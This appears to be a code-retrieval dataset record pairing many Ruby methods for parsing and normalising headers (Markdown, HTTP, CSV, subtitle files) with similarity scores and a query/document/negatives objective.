"def transform_headers( str, rs )\n\t\t\[email protected] \" Transforming headers\"\n\n\t\t\t# Setext-style headers:\n\t\t\t#\t Header 1\n\t\t\t#\t ========\n\t\t\t#\n\t\t\t#\t Header 2\n\t\t\t#\t --------\n\t\t\t#\n\n\t\t\tsection_numbers = [nil, nil, nil, nil, nil]\n\n\t\t\tstr.\n\t\t\t\tgsub( HeaderRegexp ) {|m|\n\t\t\t\t\tif $1 then\n\t\t\t\t\t\[email protected] \"Found setext-style header\"\n\t\t\t\t\t\ttitle, id, hdrchar = $1, $2, $3\n\n\t\t\t\t\t\tcase hdrchar\n\t\t\t\t\t\twhen '='\n\t\t\t\t\t\t\tlevel = 1\n\t\t\t\t\t\twhen '-'\n\t\t\t\t\t\t\tlevel = 2\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected] \"Found ATX-style header\"\n\t\t\t\t\t\thdrchars, title, id = $4, $5, $6\n\t\t\t\t\t\tlevel = hdrchars.length\n\n\t\t\t\t\t\tif level >= 7 then\n\t\t\t\t\t\t\trs.warnings << \"illegal header level - h#{level} ('#' symbols are too many)\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tprefix = ''\n\t\t\t\t\tif rs.numbering? then\n\t\t\t\t\t\tif level >= rs.numbering_start_level and level <= 6 then\n\t\t\t\t\t\t\tdepth = level - rs.numbering_start_level\n\n\t\t\t\t\t\t\tsection_numbers.each_index do |i|\n\t\t\t\t\t\t\t\tif i == depth and section_numbers[depth] then\n\t\t\t\t\t\t\t\t\t# increment a deepest number if current header's level equals last header's\n\t\t\t\t\t\t\t\t\tsection_numbers[i] += 1\n\t\t\t\t\t\t\t\telsif i <= depth then\n\t\t\t\t\t\t\t\t\t# set default number if nil\n\t\t\t\t\t\t\t\t\tsection_numbers[i] ||= 1\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t# clear discardeds\n\t\t\t\t\t\t\t\t\tsection_numbers[i] = nil\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tno = ''\n\t\t\t\t\t\t\t(0..depth).each do |i|\n\t\t\t\t\t\t\t\tno << \"#{section_numbers[i]}.\"\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tprefix = \"#{no} \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle_html = apply_span_transforms( title, rs )\n\n\t\t\t\t\tunless id then\n\t\t\t\t\t\tcase rs.header_id_type\n\t\t\t\t\t\twhen HeaderIDType::ESCAPE\n\t\t\t\t\t\t\tid = escape_to_header_id(title_html)\n\t\t\t\t\t\t\tif rs.headers.find{|h| h.id == id} then\n\t\t\t\t\t\t\t\trs.warnings << \"header id collision - #{id}\"\n\t\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle = \"#{prefix}#{title}\"\n\t\t\t\t\ttitle_html = \"#{prefix}#{title_html}\"\n\n\n\t\t\t\t\tunless id =~ IdRegexp then\n\t\t\t\t\t\trs.warnings << \"illegal header id - #{id} (legal chars: [a-zA-Z0-9_-.] | 1st: [a-zA-Z])\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif rs.block_transform_depth == 1 then\n\t\t\t\t\t\trs.headers << RenderState::Header.new(id, level, title, title_html)\n\t\t\t\t\tend\n\n\t\t\t\t\tif @use_header_id then\n\t\t\t\t\t\t%{<h%d id=\"%s\">%s</h%d>\\n\\n} % [ level, id, title_html, level ]\n\t\t\t\t\telse\n\t\t\t\t\t\t%{<h%d>%s</h%d>\\n\\n} % [ level, title_html, level ]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\tend",
"def header_raw(str)\n raise \"No HTTP-session attached to this thread.\" if !_httpsession\n raise \"HTTP-session not active.\" if !_httpsession.resp\n Php4r.header(str)\n return nil\n end",
"def initialize(source)\n self.source = source\n self.fields = []\n self.lines = []\n self.parse!\n end",
"def normalize_header!\n @gsi.dsc = HeaderOption::DSC::TELETEXT_LEVEL_2\n @gsi.lc = @gsi.lc.to_i.to_s.rjust(2,'0')\n @gsi.tnb = @gsi.tnb.to_i.to_s.rjust(5,'0')\n @gsi.tns = @gsi.tns.to_i.to_s.rjust(5,'0')\n @gsi.tng = @gsi.tng.to_i.to_s.rjust(3,'0')\n @gsi.tcp = @gsi.tcp[0..1].to_i.to_s.ljust(2,'0') + \n @gsi.tcp[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[6..7].to_i.to_s.ljust(2,'0')\n @gsi.tcf = @gsi.tcf[0..1].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[6..7].to_i.to_s.ljust(2,'0')\n @gsi.co = @gsi.co.upcase\n end",
"def initialize(raw)\n super(raw)\n match = REGEXP.match(raw.strip) or raise ParserError\n\n if match[1] == 'd'\n @dir = true\n else\n @file = true\n end\n\n # TODO: Permissions, users, groups, date/time.\n\n @basename = match[9]\n end",
"def initialize(filename_or_handle)\n if filename_or_handle.is_a?(File)\n @file = filename_or_handle\n elsif filename_or_handle.is_a?(String)\n if File.exists? filename_or_handle\n @file = open(filename_or_handle)\n else\n raise \"File does not exist: #{filename_or_handle}\"\n end\n else\n raise \"You need to pass a filename or a File object\"\n end\n \n parseHeader\n end",
"def decode_raw_header\n decoded_header = Ether.new\n decoded_header.read(payload)\n end",
"def process_header_old(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # If the field group does not exist, create one\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n\n return @child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def make_header(field_string)\r\n return \"<p><b>#{field_string}</b></p>\"\r\n end",
"def parse!\n self.fields = []\n\n # split transactions, each transaction starts with a colon after a linebreak\n # do not remove line breaks within transaction lines as they are used to determine field details\n # e.g. :61:-supplementary\n source.split(\"\\n:\").each(&:strip!).each do |line|\n line = \":#{line}\" unless line =~ %r{^:} # prepend lost : via split\n\n if line.match(/\\A:86:/)\n if field = fields.last\n field.add_meta_data(line)\n end\n else\n field = Field.parse(line)\n self.fields << field unless field.nil?\n end\n end\n end",
"def parse(headers, &block)\n @headers = headers\n parse_headers!(block)\n end",
"def parse_and_generate_header (source)\n parsed_header = parse_header(\"module\", source)\n FffMockGenerator.create_mock_header(\"module\", \"mock_module\", parsed_header)\nend",
"def normalise_header(header_name)\n # Set a non-empty value of header if its missing\n header_name ||= 'empty'\n\n # Lower case header name\n header_name = header_name.downcase\n\n # Try normalising as if it was an alt. spelling header\n normalised_header ||= normalise_alt_spelling(header_name)\n\n # Try normalising as if it was a source-related header\n normalised_header ||= normalise_source_header(header_name)\n\n # If nothing matched thus far, use header_name as is\n normalised_header || header_name\n end",
"def initialize(raw)\n self.raw = raw\n self.params = []\n end",
"def initialize(data, delim1 = DELIM_SECTION, delim2 = DELIM_RECORD, delim3 = DELIM_FIELD)\n @fields = self.class.parseData(data, delim1, delim2, delim3)\n end",
"def header(text, header_level)\n\t\t\"h#{header_level}. #{text}\\n\"\n\tend",
"def parse_text(source, rs = nil)\n rs ||= RenderState.new\n \n # check\n case rs.header_id_type\n\t\t\twhen HeaderIDType::MD5, HeaderIDType::ESCAPE\n\t\t\telse\n rs.warnings << \"illegal header id type - #{rs.header_id_type}\"\n\t\t\tend\n \n # Create a StringScanner we can reuse for various lexing tasks\n @scanner = StringScanner::new( '' )\n \n # Make a copy of the string with normalized line endings, tabs turned to\n # spaces, and a couple of guaranteed newlines at the end\n \n text = detab(source.gsub( /\\r\\n?/, \"\\n\" ))\n text += \"\\n\\n\"\n @log.debug \"Normalized line-endings: %p\" % text\n \n #text = Utilities::prePaling(text) #Insert by set.minami 2013-04-27\n #Insert by set.minami 2013-04-03\n text = transform_block_quotes(text, rs)\n nrange = []\n departure = 1\n preproc = Marshal.load(Marshal.dump(text))\n text.clear\n stack = []\n html_text_number = 0\n# Utilities::initNumberStack\n\n preproc.lines { |line|\n html_text_number += 1\n begin\n line.gsub!(/^\\{nrange:(.*?)(;\\d+)??\\}/){ |match|\n #depNum = $2.delete(';').to_i\n #departure = if depNum > 0 then depNum else 1 end\n if /h(\\d)\\-h(\\d)/i =~ $1\n nrange.push($1)\n nrange.push($2)\n if nrange.size > 2 then\n nrange.pop\n nrange.pop\n raise \"Syntax Error!\" \n end\n end\n next\n }\n @log.debug line \n #calculate numbering\n range = nrange[1].to_i - nrange[0].to_i\n if range == 0 then range = 1 end\n if range < 0 then \n p \"AoBane Syntax Error:Header range is WRONG!\" +\n \"@ l.#{html_text_number}\";exit(-1)\n raise FatalError,\"AoBane Syntax Error:Header range is WRONG!\"\n end\n if line =~ /^(%{1,#{range}})(.*?)\\n/ then\n text << Utilities.\n calcSectionNo(nrange.min,range,$1.size,departure,$2,stack) +\n \"\\n\"\n else\n text << line\n end\n @log.debug nrange.minmax\n rescue => e\n @log.warn \"AoBane Syntax WARNING l.#{html_text_number}:#{line.chomp} haven't adopted\" \n @log.warn e \n end\n }\n\n text.gsub!(/\\*\\[(.*?)\\]\\((.*?)(\\|.*?)*(\\/.*?)*\\)/){|match|\n '<font color=\"' +\n if $2.nil? then '' else $2 end\t+'\" ' +\n 'face=\"' +\n if $3.nil? then '' else $3.delete('|') end + '\" ' +\n 'size=\"' +\n if $4.nil? then '' else $4.delete('/') end + '\">' +\n $1 + '</font>'\n }\n #Insert by set.minami 2013-04-21\n text = Utilities::abbrPreProcess(text)\n #Insert by set.minami 2013-04-01\n text.gsub!(/\\\\TeX\\{(.+?)\\\\TeX\\}/){\n begin\n $1.to_mathml\n rescue => e\n puts 'math_ml Error: ' + $1\n puts e\n end\n }\n\n text = Utilities::preProcFence(text,0).join(\"\\n\") #Insert by set.minami 2013-04-27\n #Insert by set.minami 2013-03-30 \n #Insert by set.minami\n\n\t\t\t# Filter HTML if we're asked to do so\n\t\t\tif self.filter_html\n\t\t\t\t#text.gsub!( \"<\", \"<\" )\n\t\t\t\t#text.gsub!( \">\", \">\" )\n\t\t\t\[email protected] \"Filtered HTML: %p\" % text\n\t\t\tend\n\n\t\t\t# Simplify blank lines\n\t\t\ttext.gsub!( /^ +$/, '' )\n\t\t\[email protected] \"Tabs -> spaces/blank lines stripped: %p\" % text\n\n\n\t\t\t# Replace HTML blocks with placeholders\n\t\t\ttext = hide_html_blocks( text, rs )\n\t\t\[email protected] \"Hid HTML blocks: %p\" % text\n\t\t\[email protected] \"Render state: %p\" % rs\n\n\n\t\t\t# Strip footnote definitions, store in render state\n\t\t\ttext = strip_footnote_definitions( text, rs )\n\t\t\[email protected] \"Stripped footnote definitions: %p\" % text\n\t\t\[email protected] \"Render state: %p\" % rs\n\n\n\t\t\t# Strip link definitions, store in render state\n\t\t\ttext = strip_link_definitions( text, rs )\n\t\t\[email protected] \"Stripped link definitions: %p\" % text\n\t\t\[email protected] \"Render state: %p\" % rs\n\n\t\t\t# Escape meta-characters\n\t\t\ttext = escape_special_chars( text )\n\t\t\[email protected] \"Escaped special characters: %p\" % text\n\n\t\t\t# Transform block-level constructs\n\t\t\ttext = apply_block_transforms( text, rs )\n\t\t\[email protected] \"After block-level transforms: %p\" % text\n\n\t\t\t# Now swap back in all the escaped characters\n\t\t\ttext = unescape_special_chars( text )\n\t\t\[email protected] \"After unescaping special characters: %p\" % text\n\n\t\t\t# Extend footnotes\n\t\t\tunless rs.footnotes.empty? then\n\t\t\t\ttext << %Q|<div class=\"footnotes\"><hr#{EmptyElementSuffix}\\n<ol>\\n|\n\t\t\t\trs.found_footnote_ids.each do |id|\n\t\t\t\t\tcontent = rs.footnotes[id]\n\t\t\t\t\thtml = apply_block_transforms(content.sub(/\\n+\\Z/, '') + %Q| <a href=\"#footnote-ref:#{id}\" rev=\"footnote\">↩</a>|, rs)\n\t\t\t\t\ttext << %Q|<li id=\"footnote:#{id}\">\\n#{html}\\n</li>|\n\t\t\t\tend\n\t\t\t\ttext << %Q|</ol>\\n</div>\\n|\n\t\t\tend\n\n\t\t\t# Display warnings\n\t\t\tif @display_warnings then\n\t\t\t\tunless rs.warnings.empty? then\n\t\t\t\t\thtml = %Q|<pre><strong>[WARNINGS]\\n|\n\t\t\t\t\thtml << rs.warnings.map{|x| Util.escape_html(x)}.join(\"\\n\")\n\t\t\t\t\thtml << %Q|</strong></pre>|\n\n\t\t\t\t\ttext = html + text\n\t\t\t\tend\n\t\t\tend\n\n #Insert by set.minami 2013-04-21\n text = Utilities::abbrPostProcess(text)\n #Insert by set.minami 2013-03-30\n text = Utilities::insertTimeStamp(text)\n text = Utilities::postProcFence(text) #Insert by set.minami 2013-04-27\n\n text = Utilities::transformSpecialChar(text) #Insert by set.minami 2013-04-27\n\n return text\n end",
"def header(str)\n # {{{\n if @output_started\n raise \"HTTP-Headers are already send. You can't change them after output has started!\"\n end\n unless @output_allowed\n raise \"You just can set headers inside of a Rweb::out-block\"\n end\n if str.is_a?Array\n str.each do | value |\n self.header(value)\n end\n\n elsif str.split(/\\n/).length > 1\n str.split(/\\n/).each do | value |\n self.header(value)\n end\n\n elsif str.is_a? String\n str.gsub!(/\\r/, \"\")\n\n if (str =~ /^HTTP\\/1\\.[01] [0-9]{3} ?.*$/) == 0\n pattern = /^HTTP\\/1.[01] ([0-9]{3}) ?(.*)$/\n\n result = pattern.match(str)\n self.setstatus(result[0], result[1])\n elsif (str =~ /^status: [0-9]{3} ?.*$/i) == 0\n pattern = /^status: ([0-9]{3}) ?(.*)$/i\n\n result = pattern.match(str)\n self.setstatus(result[0], result[1])\n else\n a = str.split(/: ?/, 2)\n\n @header[a[0].downcase] = a[1]\n end\n end\n # }}}\n end",
"def header(buf)\n peek = buf.getbyte\n buf.seek(-1, IO::SEEK_CUR)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
"def make_string raw_string\n ParsedString.new raw_string\n end",
"def raw_headers; end",
"def initialize(raw_data)\n @raw_data = raw_data\n end",
"def initialize(lines, options = {})\n if lines.is_a?(String)\n lines = lines.split(\"\\n\")\n end\n self.meta = {}\n in_meta = true\n while in_meta and line = lines.shift do\n line.strip!\n matches = line.match /^([^:]+):\\s+(.+)/\n if matches\n if matches[1] =~ /(Chapter|Number|Position)/i and matches[2] =~ /\\d+/ and number.nil?\n self.number = matches[2].strip.to_i\n end\n self.meta[matches[1].downcase.to_sym] = matches[2]\n else\n lines = [line] + lines if line\n in_meta = false \n end\n end\n self.meta.merge!(options)\n self.file_name = self.meta[:file_name]\n self.content = lines.join\n end",
"def parse_setext_header; end",
"def initialize(data, opts)\n @opts = opts\n header, body = data.split(@opts[:delimiter]*2, 2)\n self.req = {}\n self.header = header_to_hash(header)\n self.body = body_to_hash(body)\n end",
"def parse\n read_header\n parse_text_segment\n parse_data_segment\n @data = nil\n end",
"def upload(file_name_or_io = nil, **args, &block)\n if tabular_input_type == :text\n args[:encoding] = 'UTF-8'\n args[:encode_cleaner] = :printable\n args[:encode_replace] = ''\n end\n\n # If an input header is not required, then we don't extract it'\n return super(file_name_or_io, stream_mode: tabular_input_mode, **args, &block) unless tabular_input.header?\n\n # If the header is already set then it is not expected in the file\n if tabular_input_header.present?\n tabular_input_cleanse_header\n return super(file_name_or_io, stream_mode: tabular_input_mode, **args, &block)\n end\n\n case tabular_input_mode\n when :line\n parse_header = -> (line) do\n tabular_input.parse_header(line)\n tabular_input_cleanse_header\n self.tabular_input_header = tabular_input.header.columns\n end\n super(file_name_or_io, on_first: parse_header, stream_mode: tabular_input_mode, **args, &block)\n when :row\n set_header = -> (row) do\n tabular_input.header.columns = row\n tabular_input_cleanse_header\n self.tabular_input_header = tabular_input.header.columns\n end\n super(file_name_or_io, on_first: set_header, stream_mode: tabular_input_mode, **args, &block)\n when :record\n super(file_name_or_io, stream_mode: tabular_input_mode, **args, &block)\n else\n raise(ArgumentError, \"Invalid tabular_input_mode: #{stream_mode.inspect}\")\n end\n end",
"def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend",
"def parse_header_line(header_str)\n @headers = header_str.split(',')\n @headers.map! do |h|\n h.gsub!('\"','')\n h.strip!\n h.underscore.to_sym\n end\n @headers\n end",
"def header\n @raw.split(\"--\" + boundary)[0]\n end",
"def create_message_from_message_internal(raw_message)\n Message.new(raw_message)\n end",
"def prepare_doc(raw)\n raw\n end",
"def set_header(string = '', margin = 0.50, encoding = 0)\n limit = encoding != 0 ? 255 *2 : 255\n\n # Handle utf8 strings\n if string =~ NonAscii\n string = NKF.nkf('-w16B0 -m0 -W', string)\n encoding = 1\n end\n \n if string.length >= limit\n # carp 'Header string must be less than 255 characters';\n return\n end\n\n @header = string\n @margin_header = margin\n @header_encoding = encoding\n end",
"def header=(_arg0); end",
"def initialize(iRawReader, iHeader)\n @RawReader, @Header = iRawReader, iHeader\n super()\n end",
"def header(_content)\n raise NotImplementedError\n end",
"def textfileHeader\n raw_header = labels.inject(\"\") { |header, l| header + \" \" + l.text}\n header = \"Classes: \" + raw_header\n end",
"def header\n @header ||= Header.new(\n column_definitions: config.column_definitions,\n column_names: csv.header\n )\n end",
"def create_header(meta_data)\n station = meta_data.station\n start_date = meta_data.start_date\n @header = I18n.t(\"forecast_text.main.header_start\")\n @header.concat(station.name)\n @header.concat(I18n.t(\"forecast_text.main.header_conn\"))\n @header.concat(start_date.to_s)\n nil\n end"
] |
[
"0.7122219",
"0.5979536",
"0.5907158",
"0.58096755",
"0.57519037",
"0.569342",
"0.5690831",
"0.56503385",
"0.56431717",
"0.56266195",
"0.5585677",
"0.55615324",
"0.55594486",
"0.5546759",
"0.5535344",
"0.5493248",
"0.5490219",
"0.54751897",
"0.5468234",
"0.5450163",
"0.53876024",
"0.53866136",
"0.5328355",
"0.5319443",
"0.5282789",
"0.5282454",
"0.52806234",
"0.52789897",
"0.52683514",
"0.52473855",
"0.5233569",
"0.5227916",
"0.5212101",
"0.5182986",
"0.5170281",
"0.51680404",
"0.516706",
"0.5151114",
"0.5147562",
"0.514485",
"0.5135528",
"0.51335317",
"0.51335317",
"0.5127275",
"0.5123047",
"0.5110208",
"0.50927955",
"0.5052063",
"0.5036889",
"0.5020008",
"0.5004126",
"0.4983747",
"0.49754608",
"0.49665827",
"0.49520555",
"0.4951403",
"0.4947091",
"0.49405885",
"0.49255666",
"0.49148858",
"0.49024457",
"0.48927024",
"0.48781472",
"0.48767254",
"0.48752266",
"0.4863218",
"0.48587942",
"0.48509538",
"0.4844133",
"0.48414713",
"0.48393697",
"0.48323345",
"0.48251978",
"0.4821343",
"0.48187062",
"0.48041672",
"0.47972563",
"0.4790172",
"0.4786082",
"0.47774366",
"0.47766843",
"0.4770064",
"0.47670573",
"0.47649482",
"0.47635585",
"0.47614065",
"0.4748245",
"0.47457507",
"0.4735827",
"0.47242188",
"0.47184074",
"0.4715977",
"0.47075412",
"0.47023618",
"0.47016978",
"0.46808362",
"0.46739864",
"0.46726406",
"0.4670219",
"0.4669208"
] |
0.6607831
|
1
|
The preserved raw source of the header as you passed it in, untouched for your Regexing glory.
|
def raw_source
@raw_source
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def original\n @original_header\n end",
"def parse_header_contents; end",
"def raw_headers; end",
"def header\n @raw.split(\"--\" + boundary)[0]\n end",
"def body\n @raw.split(header)[1]\n end",
"def header\n source_code.gsub /\\n^[^#].*/m, ''\n end",
"def sanitize_header(header, value)\n value\n end",
"def normalise_source_header(header_name)\n # Run regex to see if it matches expected format\n source_match = self.class.source_header_regex.match header_name\n\n if source_match\n # Set header name as source#part where:\n # # is num\n # part is ref, date, place or orig_reference\n norm_header_name = 'source' + source_match[1]\n\n # Add last part of source string (date, place, ref) to header if available\n # Default is orig_reference\n suffix = source_match[2] || 'orig_reference'\n norm_header_name += suffix\n\n return norm_header_name\n end\n nil\n end",
"def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"def sanitize_header_field(value)\n value.to_s\n .gsub(\"\\r\\n\", \"\\n\")\n .gsub(HEADER_FIELD_SANITIZER_PATTERN, HEADER_FIELD_SANITIZER_MAPPING)\n end",
"def parse!\n if /^(?<key>.*?):(?<value>.*)/m =~ @raw\n @key = key.strip\n @value = value.strip\n else\n raise \"Unable to parse Header: #{@raw}\"\n end\n end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def encode_header(s); s; end",
"def parse_setext_header; end",
"def actual_header\n data.lines.first.chomp\n end",
"def prepare_custom_headers(header)\n header.end_with?(\"__c\") ? header.slice(0..-4).downcase : header.downcase\n end",
"def parse_header_contents\n text = @src[\"contents\"]\n text.rstrip!\n id_match = HEADER_ID.match(text)\n if id_match\n id = id_match[\"id\"]\n text = text[0...-id_match[0].length]\n text.rstrip!\n end\n [text, id]\n end",
"def decode_raw_header\n decoded_header = Ether.new\n decoded_header.read(payload)\n end",
"def header_raw(str)\n raise \"No HTTP-session attached to this thread.\" if !_httpsession\n raise \"HTTP-session not active.\" if !_httpsession.resp\n Php4r.header(str)\n return nil\n end",
"def cgi_parse_header(line); end",
"def split_header\n self.fields = raw_source.split(HEADER_SPLIT)\n end",
"def header_data\n\t\treturn self.normalized_headers.to_s\n\tend",
"def register\n grab_header.invert\n end",
"def header=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def headers=(_arg0); end",
"def processed_headers; end",
"def normalise_header(header_name)\n # Set a non-empty value of header if its missing\n header_name ||= 'empty'\n\n # Lower case header name\n header_name = header_name.downcase\n\n # Try normalising as if it was an alt. spelling header\n normalised_header ||= normalise_alt_spelling(header_name)\n\n # Try normalising as if it was a source-related header\n normalised_header ||= normalise_source_header(header_name)\n\n # If nothing matched thus far, use header_name as is\n normalised_header || header_name\n end",
"def text source=nil\n header = read(source)\n\n # strip shebang and encoding comments\n header.sub! /\\A#!.+\\n?/, ''\n header.sub! /\\A#.*coding:.+\\n?/, ''\n\n # extract the embedded manpage source\n if header =~ /\\A\\s*^#/\n header.split(/^\\s*$/, 2).first.gsub(/^# ?/, '')\n else\n header[/^=begin\\b.*?$(.*?)^=end\\b.*?$/m, 1].to_s\n end.strip\n end",
"def header_str\n \"\"\n end",
"def decode_captured_headers(string)\n string.split('|', -1).map! { |header| unescape(header) }\n end",
"def decode_captured_headers(string)\n string.split('|', -1).map! { |header| unescape(header) }\n end",
"def parse_message\n header_part, body_part = raw_source.lstrip.split(HEADER_SEPARATOR, 2)\n self.header = header_part\n self.body = body_part\n end",
"def header\n return @header\n end",
"def unquote_header(value)\n if value =~ QUOTED\n $1\n else\n value\n end\n end",
"def header; message[:header]; end",
"def force_header_encoding(s); s; end",
"def parse_atx_header; end",
"def processed_header\n lineno = 0\n @processed_header ||= header.lines.map { |line|\n lineno += 1\n\n # Replace directive line with a clean break\n # Replace `#target` line with collect target application name\n\n unless directives.assoc(lineno).nil?\n \"\\n\"\n else\n \n line.scan(/^(\\#target) (\\S+.*?)$/) do |m1,m2|\n _app_name = m2.split(/[\\-|\\s]/).map{|x| x.gsub(/['|\"|;]/,\"\").downcase}\n _reg_name = Jsx::CS::REG_NAME[_app_name[0]]\n raise Jsx::Platform::UndeterminedApplicationError if _reg_name.nil?\n _vers = Jsx::CS::VERSIONS[_app_name[0]].invert\n _app_ver = (_app_name.size==1)? _vers[Jsx::CS::DEFAULTS[_app_name[0]]] : _app_name[1]\n line = line.gsub(m2,\"#{_reg_name}-#{_app_ver}\")\n end\n \n line\n end\n }.join.chomp\n end",
"def header_str_with_newrelic\n header_str_with_tracing { header_str_without_newrelic }\n end",
"def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end",
"def getHeader() @header1 end",
"def patched_encoded\n buffer = header.encoded\n buffer << \"\\r\\n\"\n buffer << body.to_s\n buffer\n end",
"def extract_header(content)\n return \"\" if content.blank?\n content.split(/\\r\\n\\r\\n|\\n\\n/).first\n end",
"def patched_encoded\n buffer = header.encoded\n buffer << \"\\r\\n\"\n buffer << body.to_s\n buffer\n end",
"def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend",
"def sanitize_header_field(value)\n output = \"\"\n\n value = value.to_s.gsub(/\\r\\n/, \"\\n\")\n\n value.each_char{|c|\n case c\n when \"\\\\\", \"|\"\n output += \"\\\\\" + c\n when \"\\n\", \"\\r\"\n output += \" \"\n else\n output += c\n end\n }\n\n return output\n end",
"def header_signature; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def headers; end",
"def normalize_header(header)\n return nil if header.nil?\n header.downcase.split.join(\"_\").chomp('?')\nend",
"def header_signature=(_arg0); end",
"def parse_header(line)\n if (match = line.match(/^(.+?):\\s*(.+)#{@nl}$/))\n key = match[1].downcase\n set_header_special_values(key, match[2])\n parse_normal_header(line, key, match[1], match[2])\n elsif (match = line.match(/^HTTP\\/([\\d\\.]+)\\s+(\\d+)\\s+(.+)$/))\n @response.code = match[2]\n @response.http_version = match[1]\n @http2.on_content_call(@args, line)\n else\n raise \"Could not understand header string: '#{line}'.\"\n end\n end",
"def headers; return {}; end",
"def headers; return {}; end",
"def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"def read_headers!; end",
"def escape_header s\n encode_header(s).gsub(/[:\\n\\\\\\\\]/) { |c| CHARACTER_ESCAPES[c] }\n end",
"def force_header_encoding(s); s.tap { s.force_encoding('UTF-8') }; end",
"def obfuscate_header(header_name, value)\n obfuscation_rule = @obfuscation_rules[header_name.downcase]\n return obfuscation_rule.call(value) if obfuscation_rule\n value\n end",
"def unpack_header(header)\n # fixed fields\n self.version = header.slice!(0)\n self.type = header.slice!(0)\n self.seq_no = header.slice!(0)\n self.flags = header.slice!(0)\n self.session_id = header.slice!(0..3)\n self.length = header.slice!(0..3)\n return(nil)\n end",
"def raw_source\n @raw_source ||= Envelope::MessageTools.normalize(message.raw_source)\n end",
"def parse_headers\n headers = {}\n @request.lines[1..-1].each do |line|\n # puts line.inspect\n # puts line.split.inspect\n return headers if line == \"\\r\\n\" # Because HTTP header's last line will be /r/n we return bc we're done\n header, value = line.split\n header = normalize(header)\n headers[header] = value\n end\n \n return headers\n end",
"def headers(headers); end",
"def from_s(header)\n reset\n\n # ghettoooooo!\n # If we don't have any newlines..., put one there.\n if (header.size > 0 && header !~ /\\r\\n/)\n header << \"\\r\\n\"\n end\n\n # put the non-standard line terminations back to normal\n # gah. not having look behinds suck,\n header.gsub!(/([^\\r])\\n/n,'\\1' + \"\\r\\n\")\n\n # undo folding, kinda ugly but works for now.\n header.gsub!(/:\\s*\\r\\n\\s+/smni,': ')\n\n # Extract the command string\n self.cmd_string = header.slice!(/.+\\r\\n/)\n\n # Extract each header value pair\n header.split(/\\r\\n/mn).each { |str|\n if (md = str.match(/^(.+?)\\s*:\\s*(.+?)\\s*$/))\n if (self[md[1]])\n self[md[1]] << \", \" + md[2]\n else\n self[md[1]] = md[2]\n end\n end\n }\n end",
